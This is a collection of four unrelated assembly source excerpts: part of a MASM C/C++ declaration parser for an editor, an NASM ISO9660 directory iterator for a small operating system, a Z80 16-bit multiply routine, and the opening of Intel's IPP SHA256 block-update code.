LOCAL lpParamEn:DWORD
LOCAL lpBegin:DWORD
LOCAL lpEnd:DWORD
LOCAL nNest:DWORD
LOCAL lpTemp:DWORD
LOCAL fTypedef:DWORD
LOCAL npos:DWORD
LOCAL nline:DWORD
LOCAL nptr:DWORD
push ebx
mov eax,[ebx].RAPROPERTY.lpchartab
mov lpCharTab,eax
mov esi,lpMem
mov npos,0
mov nNest,0
.while byte ptr [esi]
mov eax,npos
mov nline,eax
mov fTypedef,0
call GetWrd
.if len
;invoke PrintWord,esi,len
mov lpRet,esi
mov lenRet,ecx
call _Skip
or eax,eax
jne Nxt
call _Constant
or eax,eax
jne Nxt
call _Typedef
or eax,eax
jne Nxt
call _Struct
or eax,eax
jne Nxt
call _Function
or eax,eax
jne Nxt
call _Unknown
.else
mov al,[esi]
.if al=='"' || al=='{' || al=='('
invoke CppSkipScope,addr npos
.elseif al==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr npos
.else
inc esi
.endif
.endif
Nxt:
.endw
pop ebx
invoke CppFixUnknown
ret
_Begin:
mov eax,esi
mov edx,npos
.while byte ptr [esi]!=';' && byte ptr [esi]!='{' && byte ptr [esi]
.if byte ptr [esi]==VK_RETURN
.if byte ptr [esi+1]==0Ah
inc esi
.endif
inc dword ptr npos
.endif
inc esi
.endw
.if byte ptr [esi]!='{'
mov npos,edx
mov esi,eax
xor eax,eax
.endif
retn
GetArray:
push ebx
call SkipSpc
.if byte ptr [esi]=='['
mov ebx,esi
invoke CppSkipScope,addr npos
mov eax,esi
sub eax,ebx
.if eax==2
mov byte ptr [edi],'['
inc edi
call SkipSpc
.if byte ptr [esi]=='='
inc esi
call SkipSpc
.if byte ptr [esi]=='"' || byte ptr [esi]=="'"
;szTest[]="Test";
mov ebx,esi
invoke CppSkipScope,addr npos
mov eax,esi
sub eax,ebx
dec eax
invoke DwToAscii,eax,edi
invoke strlen,edi
lea edi,[edi+eax]
.endif
.endif
mov byte ptr [edi],']'
inc edi
.else
.while ebx<esi
mov al,[ebx]
mov [edi],al
inc ebx
inc edi
.endw
@@:
call SkipSpc
.if byte ptr [esi]=='['
mov byte ptr [edi-1],';'
lea ebx,[esi+1]
invoke CppSkipScope,addr npos
.while ebx<esi
mov al,[ebx]
mov [edi],al
inc ebx
inc edi
.endw
jmp @b
.endif
.endif
.endif
pop ebx
retn
_Skip:
;PrintText "Skip"
invoke IsWord,esi,len,offset szInline,lpCharTab
or eax,eax
jne SkipSc
invoke IsWord,esi,len,offset szClass,lpCharTab
or eax,eax
jne SkipSc
invoke IsWord,esi,len,offset szEnum,lpCharTab
or eax,eax
jne SkipSc
invoke IsWord,esi,len,offset szDECLARE_INTERFACE,lpCharTab
or eax,eax
jne SkipSc
invoke IsWord,esi,len,offset szDECLARE_INTERFACE_,lpCharTab
or eax,eax
jne SkipSc
invoke IsWord,esi,len,offset szDECLARE_MAPI_INTERFACE_,lpCharTab
or eax,eax
jne SkipSc
_SkipDf:
invoke IsWord,esi,len,offset szInclude,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szExtern,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szIfdef,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szIfndef,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szIf,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szElif,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szElse,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szEndif,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szPragma,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szUndef,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szError,lpCharTab
or eax,eax
jne SkipLn
invoke IsWord,esi,len,offset szStatic,lpCharTab
or eax,eax
jne SkipWd
invoke IsWord,esi,len,offset szConst,lpCharTab
or eax,eax
jne SkipWd
invoke IsWord,esi,len,offset szVolatile,lpCharTab
or eax,eax
jne SkipWd
xor eax,eax
retn
SkipSc:
add esi,len
call _Begin
.if eax
invoke CppSkipScope,addr npos
.endif
mov eax,TRUE
retn
SkipLn:
.while byte ptr [esi]!=VK_RETURN && byte ptr [esi]
inc esi
.endw
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr npos
.endif
mov eax,TRUE
retn
SkipWd:
add esi,len
mov eax,TRUE
retn
_Typedef:
;PrintText "Typedef"
; typedef LNG(ULONG);
invoke IsWord,esi,len,offset szTypedef,lpCharTab
.if eax
mov fTypedef,TRUE
add esi,len
call GetWrd
call _Struct
.if !eax
mov ecx,len
inc ecx
invoke strcpyn,offset szname,esi,ecx
add esi,len
call GetWrd
.if !ecx && byte ptr [esi]=='('
inc esi
call GetWrd
.if ecx
inc ecx
invoke strcpyn,offset buff1,esi,ecx
add esi,len
invoke strlen,offset szname
invoke strcpy,addr szname[eax+1],offset buff1
mov edx,'t'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
.endif
.endif
.endif
mov eax,TRUE
retn
.endif
xor eax,eax
retn
_Struct:
;PrintText "Struct"
; typedef struct tagHEBMK
; {
; HWND hWin;
; UINT nLine;
; } HEBMK;
invoke IsWord,esi,len,offset szUnaligned,lpCharTab
.if eax
add esi,len
call GetWrd
.endif
invoke IsWord,esi,len,offset szStruct,lpCharTab
.if !eax
invoke IsWord,esi,len,offset szUnion,lpCharTab
.endif
.if eax
add esi,len
call GetWrd
.if ecx
.if !fTypedef
inc ecx
invoke strcpyn,offset szname,esi,ecx
.endif
add esi,len
.endif
call _Begin
.if eax
push esi
push npos
invoke CppSkipScope,addr npos
pop npos
mov edx,esi
pop esi
.if !ecx
mov al,[edx]
push eax
push edx
mov byte ptr [edx],0
mov edi,offset buff1
mov byte ptr [edi],0
.while byte ptr [esi]
@@:
.if byte ptr [esi]=='*'
inc esi
jmp @b
.endif
call GetWrd
invoke IsWord,esi,len,offset szVolatile,lpCharTab
.if eax
add esi,len
jmp @b
.endif
mov ecx,len
.if ecx
inc ecx
invoke strcpyn,offset buff2,esi,ecx
add esi,len
call SkipSpc
.if byte ptr [esi]=='*'
inc esi
.endif
call GetWrd
.if ecx
inc ecx
invoke strcpyn,edi,esi,ecx
invoke strlen,edi
lea edi,[edi+eax]
call GetArray
mov word ptr [edi],':'
inc edi
xor ecx,ecx
.while buff2[ecx]
mov al,buff2[ecx]
.if al>='a' && al<='z'
and al,5Fh
.endif
mov [edi],al
inc ecx
inc edi
.endw
mov word ptr [edi],','
inc edi
add esi,len
.endif
.else
.if byte ptr [esi]=='('
invoke CppSkipScope,addr npos
.elseif byte ptr [esi]
inc esi
.endif
.endif
call SkipSpc
.while byte ptr [esi]==';' || byte ptr [esi]==VK_RETURN
.if byte ptr [esi]==VK_RETURN
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr npos
.endif
inc esi
.endw
.endw
pop esi
pop eax
mov [esi],al
dec edi
.if byte ptr [edi]==','
mov byte ptr [edi],0
.if fTypedef
call GetWrd
.if ecx
inc ecx
invoke strcpyn,offset szname,esi,ecx
add esi,len
.endif
.endif
invoke strlen,offset szname
invoke strcpy,addr szname[eax+1],offset buff1
mov edx,'s'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
mov eax,TRUE
.endif
.endif
.endif
call GetLineNo
mov npos,eax
mov eax,TRUE
retn
.endif
xor eax,eax
retn
_Constant:
;PrintText "#define"
; Constant
; #define MYCONSTANT 0x01
invoke IsWord,esi,len,offset szDefine,lpCharTab
.if eax
add esi,len
call GetWrd
inc ecx
invoke strcpyn,offset szname,esi,ecx
invoke IsWord,esi,len,offset szNew,lpCharTab
.if eax
jmp SkipLn
.endif
add esi,len
call GetWrd
invoke strlen,offset szname
mov ecx,len
inc ecx
invoke strcpyn,addr szname[eax+1],esi,ecx
add esi,len
mov edx,'c'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
mov eax,TRUE
.endif
retn
GetParam:
push ebx
.while esi<lpParamEn
mov nptr,0
call GetWrd
mov ebx,esi
add esi,len
push len
call GetWrd
invoke IsWord,esi,len,offset szFar,lpCharTab
.if eax
add esi,len
pop eax
mov eax,esi
sub eax,ebx
push eax
call GetWrd
.endif
.if !len
; push esi
xor edx,edx
.while byte ptr [esi]=='*'
inc nptr
inc esi
.endw
call GetWrd
; pop esi
.endif
pop edx
.if edx && len
.while ecx
mov al,[esi]
mov [edi],al
inc esi
inc edi
dec ecx
.endw
mov byte ptr [edi],':'
inc edi
.while edx
mov al,[ebx]
.if al>='a' && al<='z'
and al,5Fh
.endif
mov [edi],al
inc ebx
inc edi
dec edx
.endw
.while nptr
mov byte ptr[edi],'*'
inc edi
dec nptr
.endw
call GetWrd
.if byte ptr [esi]==','
inc esi
mov byte ptr [edi],','
inc edi
.endif
.else
.break
.endif
.endw
mov dword ptr [edi],0
inc edi
pop ebx
retn
_Function:
;PrintText "Function"
; Function
; int TestIt()
; {
; }
xor eax,eax
mov lpFun,eax
mov lpParamSt,eax
push esi
push npos
.while byte ptr [esi]!=';' && byte ptr [esi]!='{' && byte ptr [esi]
call GetWrd
.if ecx
mov lpFun,esi
mov lenFun,ecx
lea esi,[esi+ecx]
.elseif byte ptr [esi]=='('
mov lpParamSt,esi
invoke CppSkipScope,addr npos
mov lpParamEn,esi
.elseif byte ptr [esi]=='*'
inc esi
.elseif byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc npos
.else
.break
.endif
.endw
.if byte ptr [esi]=='{'
.if lpFun && lpParamSt
mov lpBegin,esi
invoke CppSkipScope,addr npos
mov lpEnd,esi
pop eax
pop eax
push esi
push npos
; Name
mov edi,offset szname
inc lenFun
invoke strcpyn,edi,lpFun,lenFun
add edi,lenFun
; Parameters
mov esi,lpParamSt
inc esi
dec lpParamEn
call GetParam
; Return type
inc lenRet
invoke strcpyn,edi,lpRet,lenRet
add edi,lenRet
; Locals
mov esi,lpBegin
inc esi
.while esi<lpEnd
call GetWrd
.if ecx
invoke IsWord,esi,ecx,offset szStatic,lpCharTab
.if eax
add esi,len
call GetWrd
.endif
.endif
mov ecx,len
.if ecx
inc ecx
invoke strcpyn,offset buff2,esi,ecx
add esi,len
call GetWrd
.if ecx
invoke SearchType,offset buff2
.if !eax
NxtLocal:
call GetWrd
.if ecx
inc ecx
invoke strcpyn,edi,esi,ecx
add edi,len
add esi,len
call GetArray
mov byte ptr [edi],':'
inc edi
xor ecx,ecx
.while buff2[ecx]
mov al,buff2[ecx]
.if al>='a' && al<='z'
and al,5Fh
.endif
mov [edi],al
inc ecx
inc edi
.endw
mov word ptr [edi],','
inc edi
.if byte ptr [esi]==','
inc esi
jmp NxtLocal
.endif
.endif
.endif
.endif
.endif
.while byte ptr [esi]!=VK_RETURN && byte ptr [esi]
inc esi
.endw
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
.endif
.endw
mov byte ptr [edi],0
pop npos
mov edx,'p'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,4
pop esi
mov eax,TRUE
retn
.endif
.endif
pop npos
pop esi
call GetWrd
xor eax,eax
retn
_Unknown:
;PrintText "Unknown"
; Datatype
mov ecx,len
inc ecx
invoke strcpyn,offset buff1,esi,ecx
add esi,len
mov lpTemp,esi
push npos
_Unknown1:
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr npos
.endif
call GetWrd
.if ecx
; Unknown (might be global data)
; Name
inc ecx
mov edi,offset szname
invoke strcpyn,edi,esi,ecx
add esi,len
add edi,len
call SkipSpc
.if byte ptr [esi]==VK_RETURN
inc esi
inc dword ptr npos
.endif
call GetWrd
mov al,[esi]
.if !ecx && al!='('
call GetArray
mov byte ptr [edi],':'
inc edi
xor ecx,ecx
.while buff1[ecx]
mov al,buff1[ecx]
.if al>='a' && al<='z'
and al,5Fh
.endif
mov [edi],al
inc ecx
inc edi
.endw
mov byte ptr [edi],0
inc edi
invoke strcpy,edi,offset buff1
mov edx,'U'
invoke AddWordToWordList,edx,nOwner,nline,npos,addr szname,2
.if byte ptr [esi]=='='
inc esi
.endif
.if byte ptr [esi]=='"' || byte ptr [esi]=="'"
invoke CppSkipScope,addr npos
.endif
.if byte ptr [esi]==','
inc esi
jmp _Unknown1
.endif
.endif
.while byte ptr [esi]!=';' && byte ptr [esi]
inc esi
.endw
pop eax
call GetLineNo
mov npos,eax
mov eax,TRUE
retn
.elseif byte ptr [esi]=='*'
inc esi
invoke strlen,addr buff1
mov word ptr buff1[eax],'*'
jmp _Unknown1
.endif
pop npos
mov esi,lpTemp
xor eax,eax
retn
SkipSpc:
.while byte ptr [esi]==VK_SPACE || byte ptr [esi]==VK_TAB
inc esi
.endw
.if byte ptr [esi]=='\'
inc esi
.while byte ptr [esi]!=VK_RETURN && byte ptr [esi]
inc esi
.endw
.if byte ptr [esi]==VK_RETURN
inc esi
.if byte ptr [esi]==0Ah
inc esi
.endif
inc dword ptr npos
jmp SkipSpc
.endif
.endif
retn
GetWrd:
call SkipSpc
mov edx,lpCharTab
xor ecx,ecx
dec ecx
@@:
inc ecx
movzx eax,byte ptr [esi+ecx]
cmp byte ptr [eax+edx],1
je @b
cmp eax,'+'
je @b
cmp eax,'-'
je @b
cmp eax,'#'
je @b
.if word ptr [esi+ecx]=='::'
inc ecx
jmp @b
.endif
mov len,ecx
retn
GetLineNo:
xor eax,eax
mov edx,lpMem
.while edx<esi
.if byte ptr [edx]==VK_RETURN
inc eax
.endif
inc edx
.endw
retn
CppParseFile endp
|
%ifndef ISO9660_ASM_
%define ISO9660_ASM_
; structure
; iterator = {property, status}
; property = {device, current deref | nil, reserved}
; status = {LBA of the directory record, current pos, length of the record}
; file.info = {file.status, [address of the loader]:64}
; file.status = {device, status}
iso9660:
.iterator.dispose.raw:
pushs a, c, d
mov rcx, rax
ldaddr d, [rax + object.content]
ldid a, [rdx + object.internal.content + word.size]
call objects.unref
mov rax, rdx
call objects.dispose.raw
ldaddr a, [rcx + object.content + word.size]
call objects.dispose.raw
pops a, c, d
ret
.file.status.dispose.raw:
pushs a, d
ldaddr d, [rax + object.content + word.size]
ldid a, [rax + object.content]
call objects.unref
mov rax, rdx
call objects.dispose.raw
pops a, d
ret
; in: a = iterator id
.ls:
pushs d
or edx, -1
call console_out.printlp
.ls.1:
call .iterator.isrefsspecialdirectory
jnc .ls.4
.ls.2:
inc edx
jz .ls.3
call console_out.printcomma
call console_out.printsp
.ls.3:
call .iterator.printname
call .iterator.isrefsfile
jnc .ls.4
pushs a
call .iterator.deref.directory
call .ls
pops a
.ls.4:
call .iterator.succ
call .iterator.isend
jc .ls.1
call console_out.printrp
pops d
ret
; in: a = device
; out: a = iterator id of the root | nil
.begin:
pushs c, d, si
movid si, a
mov edx, 2048 * 16
.begin.1:
movid a, si
call device.index
test rax, rax
jz .begin.3
cmp byte [rax], 1 ; finding primary volume descriptor
je .begin.2
cmp byte [rax], 0xff
mov rax, 0
je .begin.3
add edx, 2048
jmp .begin.1
.begin.2:
; now, the root directory record starts at rax + 156
mov ecx, [rax + 156 + 2] ; location
mov edx, [rax + 156 + 10] ; length
call objects.new.chunk
mov [rax + object.internal.content], ecx
mov [rax + object.internal.content + word.size * 2], edx
id_from_addr a
movid c, a
call objects.new.chunk
stid [rax + object.internal.content], si
id_from_addr a
movid si, a
call objects.new.raw
mov byte [rax + object.class], object.iso9660.iterator
stid [rax + object.content], si
stid [rax + object.content + word.size], c
id_from_addr a
.begin.3:
pops c, d, si
ret
; in: a = iterator id
.iterator.succ:
pushs a, b, c, d, si
addr_from_id si, a
ldaddr c, [rsi + object.content + word.size]
xor rbx, rbx
mov ebx, [rcx + object.internal.content + word.size]
cmp ebx, [rcx + object.internal.content + word.size * 2]
jae .iterator.succ.1
xor rdx, rdx
mov edx, [rcx + object.internal.content]
shl rdx, 11
xor rax, rax
mov eax, [rcx + object.internal.content + word.size]
add rdx, rax
ldaddr a, [rsi + object.content]
ldid a, [rax + object.internal.content]
call device.index
xor rdx, rdx
mov dl, [rax]
add [rcx + object.internal.content + word.size], edx
ldaddr d, [rsi + object.content]
ldid a, [rdx + object.internal.content + word.size]
call objects.unref
ldnil a
stid [rdx + object.internal.content + word.size], a
.iterator.succ.1:
pops a, b, c, d, si
ret
; in: a = iterator id
.iterator.isrefsspecialdirectory:
pushs a, b, c, d, si
addr_from_id si, a
ldaddr c, [rsi + object.content]
ldid a, [rcx + object.internal.content]
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
add rdx, 33
call device.index
cmp byte [rax], 1
pops a, b, c, d, si
jbe return.true
jmp return.false
; in: a = iterator id
.iterator.isrefsfile:
pushs a, b, c, d, si
addr_from_id si, a
ldaddr c, [rsi + object.content]
ldid a, [rcx + object.internal.content]
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
add rdx, 25
call device.index
mov dl, [rax]
test dl, 0x02
pops a, b, c, d, si
jz return.true
jmp return.false
; in: a = iterator id
; out: a = octet-buffer id indicates a name of the refed object
; out: d = name.length
.iterator.getname:
pushs b, c, si, di, bp
addr_from_id si, a
ldaddr bp, [rsi + object.content]
ldid a, [rbp + object.internal.content]
movid bp, a
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
mov rbx, rdx
call device.index
xor rcx, rcx
mov cl, [rax]
call octet_buffer.new
movid si, a
xor rdx, rdx
call octet_buffer.newindex
mov rdi, rax
mov rdx, rbx
movid a, bp
call device.index.cp
mov rbx, rdi
add rbx, 33
xor rcx, rcx
mov cl, [rdi + 32]
mov rdx, rcx
add ecx, 0x03
shr ecx, 2
jz .iterator.getname.2
.iterator.getname.1:
mov eax, [rbx]
mov [rdi], eax
add rbx, 4
add rdi, 4
dec ecx
jnz .iterator.getname.1
.iterator.getname.2:
xor rbx, rbx
mov ebx, edx
add ebx, 3
and ebx, ~3
sub rdi, rbx
mov [rdi + rdx], ecx
movid a, si
pops b, c, si, di, bp
ret
; in: a = iterator id
.iterator.printname:
pushs a, d
call .iterator.getname
xor rdx, rdx
call octet_buffer.index
call console_out.prints
pops a, d
ret
; in: a = iterator id refs directory
; out: a = refed iterator id | nil
.iterator.deref.directory:
pushs b, c, d, si
addr_from_id si, a
ldaddr c, [rsi + object.content]
ldid a, [rcx + object.internal.content + word.size]
testid a
jnz .iterator.deref.directory.end.2
ldid a, [rcx + object.internal.content]
call objects.ref
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
mov rcx, 28
sub rsp, 32
mov rdi, rsp
movid si, a
call device.index.cp
jc .iterator.deref.directory.failed
test byte [rdi + 25], 0x02 ; directory?
jz .iterator.deref.directory.failed
mov ecx, [rdi + 2] ; location
mov edx, [rdi + 10] ; length
call objects.new.chunk
mov [rax + object.internal.content], ecx
mov [rax + object.internal.content + word.size * 2], edx
id_from_addr a
movid c, a
call objects.new.chunk
stid [rax + object.internal.content], si
id_from_addr a
movid si, a
call objects.new.raw
mov byte [rax + object.class], object.iso9660.iterator
stid [rax + object.content], si
stid [rax + object.content + word.size], c
id_from_addr a
jmp .iterator.deref.directory.end
.iterator.deref.directory.failed:
ldnil a
.iterator.deref.directory.end:
add rsp, 32
.iterator.deref.directory.end.2:
pops b, c, d, si
ret
; in: a = iterator id refs file
; out: a = file id
.iterator.deref.file:
pushs b, c, d, si, di
addr_from_id si, a
ldaddr c, [rsi + object.content]
ldid a, [rcx + object.internal.content + word.size]
testid a
jnz .iterator.deref.file.end.2
ldid a, [rcx + object.internal.content]
call objects.ref
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
mov rcx, 28
sub rsp, 32
mov rdi, rsp
movid si, a
call device.index.cp
jc .iterator.deref.file.failed
test byte [rdi + 25], 0x02 ; file?
jnz .iterator.deref.file.failed
call objects.new.chunk
mov ecx, [rbx + object.internal.content]
mov [rax + object.internal.content], ecx
mov ecx, [rbx + object.internal.content + word.size]
mov [rax + object.internal.content + word.size], ecx
mov ecx, [rbx + object.internal.content + word.size * 2]
mov [rax + object.internal.content + word.size * 2], ecx
id_from_addr a
movid c, a
call objects.new.raw
mov byte [rax + object.content], object.iso9660.file.status
stid [rax + object.content], si
stid [rax + object.content + word.size], c
id_from_addr a
movid c, a
call objects.new.chunk
stid [rax + object.internal.content], c
mov qword [rax + object.internal.content + word.size], .file.index
id_from_addr a
movid d, a
call file.new
call file.set.info
jmp .iterator.deref.file.end
.iterator.deref.file.failed:
ldnil a
.iterator.deref.file.end:
add rsp, 32
.iterator.deref.file.end.2:
pops b, c, d, si, di
ret
; in: a = iterator id
.iterator.isend:
pushs a, c, d
addr_from_id d, a
ldaddr c, [rdx + object.content + word.size]
mov eax, [rcx + object.internal.content + word.size]
cmp eax, [rcx + object.internal.content + word.size * 2]
pops a, c, d
jae return.true
pushs a, b, c, d, si
addr_from_id si, a
ldaddr c, [rsi + object.content]
ldid a, [rcx + object.internal.content]
ldaddr b, [rsi + object.content + word.size]
xor rdx, rdx
mov edx, [rbx + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rbx + object.internal.content + word.size]
add rdx, rcx
call device.index
cmp byte [rax], 0
pops a, b, c, d, si
je return.true
jmp return.false
; in: a = page address
; in: c = file.status id
; in: d = file offset
; out: a = mapped address
.file.index:
pushs b, c, d, si, di, bp
mov rsi, rax
addr_from_id b, c
mov rbp, rdx
ldaddr a, [rbx + object.content + word.size]
xor rdx, rdx
mov edx, [rax + object.internal.content]
shl rdx, 11
xor rcx, rcx
mov ecx, [rax + object.internal.content + word.size]
add rdx, rcx
mov rcx, 8
sub rsp, 8
mov rdi, rsp
ldid a, [rbx + object.content]
call device.index.cp
xor rdx, rdx
mov edx, [rdi + 2]
add rsp, 8
shl rdx, 11
add rdx, rbp
and rdx, ~0x0fff
and rbp, 0x0fff
mov rdi, rsi
mov rcx, 4096
call device.index.cp
mov rax, rdi
add rax, rbp
pops b, c, d, si, di, bp
ret
%endif ; ISO9660_ASM_
|
SECTION code_crt0_sccz80
PUBLIC l_mult
; Entry: hl = value1
; de = value2
; Exit: hl = value1 * value2
l_mult:
ld a,d ; a = xh
ld d,h ; d = yh
ld h,a ; h = xh
ld c,e ; c = xl
ld b,l ; b = yl
mlt de ; yh * xl
mlt hl ; xh * yl
add hl,de ; add cross products
mlt bc ; yl * xl
ld a,l ; cross products LSB
add a,b ; add to MSB final
ld h,a
ld l,c ; hl = final
ret
|
;===============================================================================
; Copyright 2015-2020 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Message block processing according to SHA256
;
; Content:
; UpdateSHA256
;
%include "asmdefs.inc"
%include "ia_32e.inc"
%include "ia_32e_regs.inc"
%include "pcpvariant.inc"
%if (_ENABLE_ALG_SHA256_)
%if (_SHA_NI_ENABLING_ == _FEATURE_OFF_) || (_SHA_NI_ENABLING_ == _FEATURE_TICKTOCK_)
%if (_IPP32E >= _IPP32E_M7) && (_IPP32E < _IPP32E_U8 )
;;
;; ENDIANNESS
;;
%macro ENDIANNESS 2.nolist
%xdefine %%dst %1
%xdefine %%src %2
%ifnidn %%dst,%%src
mov %%dst,%%src
%endif
bswap %%dst
%endmacro
;;
;; single SHA256 step
;;
;; Ipp32u T1 = H + SUM1(E) + CH(E,F,G) + K_SHA256[t] + W[t];
;; Ipp32u T2 = SUM0(A) + MAJ(A,B,C);
;; D+= T1;
;; H = T1 + T2;
;;
;; where
;; SUM1(x) = ROR(x,6) ^ ROR(x,11) ^ ROR(x,25)
;; SUM0(x) = ROR(x,2) ^ ROR(x,13) ^ ROR(x,22)
;;
;; CH(x,y,z) = (x & y) ^ (~x & z)
;; MAJ(x,y,z) = (x & y) ^ (x & z) ^ (y & z) = (x&y)^((x^y)&z)
;;
%macro SHA256_STEP_2 13.nolist
%xdefine %%regA %1
%xdefine %%regB %2
%xdefine %%regC %3
%xdefine %%regD %4
%xdefine %%regE %5
%xdefine %%regF %6
%xdefine %%regG %7
%xdefine %%regH %8
%xdefine %%regT %9
%xdefine %%regF1 %10
%xdefine %%regF2 %11
%xdefine %%memW %12
%xdefine %%immCNT %13
;; update H (start)
add %%regH%+d,%%immCNT ;; H += W[t]+K_SHA256[t]
add %%regH%+d,[%%memW]
;; compute T = SUM1(E) + CH(E,F,G)
mov %%regF1%+d,%%regE%+d ;; SUM1() = E
mov %%regF2%+d,%%regE%+d ;; CH() = E
ror %%regF1%+d,6 ;; ROR(E,6)
mov %%regT%+d, %%regE%+d
push %%regE
not %%regF2%+d ;; ~E
ror %%regE%+d, 11 ;; ROR(E,11)
and %%regT%+d, %%regF%+d ;; E&F
and %%regF2%+d,%%regG%+d ;;~E&G
xor %%regF1%+d,%%regE%+d ;; ROR(E,6)^ROR(E,11)
ror %%regE%+d, 14 ;; ROR(E,25)
xor %%regF2%+d,%%regT%+d ;; CH() = (E&F)&(~E&G)
xor %%regF1%+d,%%regE%+d ;; SUM1() = ROR(E,6)^ROR(E,11)^ROR(E,25)
pop %%regE ;; repair E
lea %%regT, [%%regF1+%%regF2]
;; update H (continue)
add %%regH%+d, %%regT%+d
;; update D
add %%regD%+d, %%regH%+d
;; compute T = SUM0(A) + MAJ(A,B,C)
mov %%regF1%+d,%%regA%+d ;; SUM0() = A
mov %%regF2%+d,%%regA%+d ;; MAJ() = A
ror %%regF1%+d,2 ;; ROR(A,2)
mov %%regT%+d, %%regA%+d
push %%regA
xor %%regF2%+d,%%regB%+d ;; A^B
ror %%regA%+d, 13 ;; ROR(A,13)
and %%regT%+d, %%regB%+d ;; A&B
and %%regF2%+d,%%regC%+d ;; (A^B)&C
xor %%regF1%+d,%%regA%+d ;; ROR(A,2)^ROR(A,13)
ror %%regA%+d, 9 ;; ROR(A,22)
xor %%regF2%+d,%%regT%+d ;; MAJ() = (A^B)^((A^B)&C)
xor %%regF1%+d,%%regA%+d ;; SUM0() = ROR(A,2)^ROR(A,13)^ROR(A,22)
pop %%regA ;; repair A
lea %%regT, [%%regF1+%%regF2]
;; update H (finish)
add %%regH%+d, %%regT%+d
%endmacro
;;
;; update W[]
;;
;; W[j] = SIG1(W[j- 2]) + W[j- 7]
;; +SIG0(W[j-15]) + W[j-16]
;;
;; SIG0(x) = ROR(x,7) ^ROR(x,18) ^LSR(x,3)
;; SIG1(x) = ROR(x,17)^ROR(x,19) ^LSR(x,10)
;;
%macro UPDATE_2 5.nolist
%xdefine %%nr %1
%xdefine %%sig0 %2
%xdefine %%sig1 %3
%xdefine %%W15 %4
%xdefine %%W2 %5
mov %%sig0, [rsp+((%%nr-15) & 0Fh)*4] ;; W[j-15]
mov %%sig1, [rsp+((%%nr-2) & 0Fh)*4] ;; W[j-2]
shr %%sig0, 3
shr %%sig1, 10
mov %%W15, [rsp+((%%nr-15) & 0Fh)*4] ;; W[j-15]
mov %%W2, [rsp+((%%nr-2) & 0Fh)*4] ;; W[j-2]
ror %%W15, 7
ror %%W2, 17
xor %%sig0, %%W15 ;; SIG0 = LSR(W[j-15], 3)
xor %%sig1, %%W2 ;; SIG1 = LSR(W[j-2], 10)
ror %%W15, 11 ;; ROR(W[j-15], 18)
ror %%W2, 2 ;; ROR(W[j-2, 19)
xor %%sig0, %%W15
xor %%sig1, %%W2
add %%sig0, [rsp+((%%nr-16) & 0Fh)*4] ;;SIG0 += W[j-16]
add %%sig1, [rsp+((%%nr-7) & 0Fh)*4] ;;SIG1 += W[j-7]
add %%sig0, %%sig1
mov [rsp+((%%nr-16) & 0Fh)*4], %%sig0
%endmacro
segment .text align=IPP_ALIGN_FACTOR
;******************************************************************************************
;* Purpose: Update internal digest according to message block
;*
;* void UpdateSHA256(DigestSHA256 digest, const Ipp32u* mblk, int mlen, const void* pParam)
;*
;******************************************************************************************
;;
;; Lib = M7
;;
;; Caller = ippsSHA256Update
;; Caller = ippsSHA256Final
;; Caller = ippsSHA256MessageDigest
;;
;; Caller = ippsSHA224Update
;; Caller = ippsSHA224Final
;; Caller = ippsSHA224MessageDigest
;;
;; Caller = ippsHMACSHA256Update
;; Caller = ippsHMACSHA256Final
;; Caller = ippsHMACSHA256MessageDigest
;;
;; Caller = ippsHMACSHA224Update
;; Caller = ippsHMACSHA224Final
;; Caller = ippsHMACSHA224MessageDigest
;;
%if (_IPP32E >= _IPP32E_U8)
align IPP_ALIGN_FACTOR
pByteSwp DB 3,2,1,0, 7,6,5,4, 11,10,9,8, 15,14,13,12
%endif
align IPP_ALIGN_FACTOR
